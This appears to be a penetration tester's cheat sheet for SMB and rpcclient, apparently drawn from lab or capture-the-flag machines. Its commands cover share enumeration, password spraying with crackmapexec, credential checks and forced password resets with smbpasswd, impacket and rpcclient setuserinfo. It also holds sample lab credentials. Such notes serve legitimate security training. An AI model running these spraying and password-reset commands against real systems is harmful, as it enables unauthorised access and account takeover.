SMB enumeration and rpcclient

• enumerating smb with nmap

nmap --script smb-vuln* -p 445 -oA nmap/smb_vulns 10.10.10.4

List shares anonymously

smbclient -N -L //10.10.10.4

• Pasword login

smbclient  //10.10.10.4 -U "frishta%Frishta123!!"

• mount shares

mount -t cifs //10.10.10.192/profiles$ /mnt

• get permissions for the user Read/Write or accessibility . it checks what permissions does the user frishta has on shares

crackmapexec smb 192.168.165.21 -u frishta -p 'Frishta123!!!' --shares

• Bruteforce know users for a particular password

crackmapexec smb 192.168.50.70 -u users.txt -p 'Cubesid123!' -d cube.com --continue-on-success

# try same user name and password
crackmapexec smb 10.10.81.8  -u users.txt -p users.txt -d sweep.vl --no-bruteforce --continue-on-success

• To verify a password for user frishta

crackmapexec smb 192.168.50.75 -u frishta -p 'Frishta123!!!' -d cube.com

• If u ever see a message to reset password of an user in smb u can do it the following way it changes the password for user f.shaik

smbpasswd -U f.shaik -r 10.10.83.40

impacket-changepasswd sendai.vl/Thomas.Powell@10.10.89.83 -newpass 'Password123!!!'

rpcclient

• Anonymous login

rpcclient -U "" -N 10.10.10.161

• User login

rpcclient -U "<username>%<password>" <target_ip>

• After logging in to enumerate users and groups

 enumdomusers
 enumdomgroups

• If u have permissions like Generic All ,password reset ...etc u can use this to reset password after loggin rpcclient here 23 is the level in rpc

setuserinfo f.shaik 23 'Admin!23'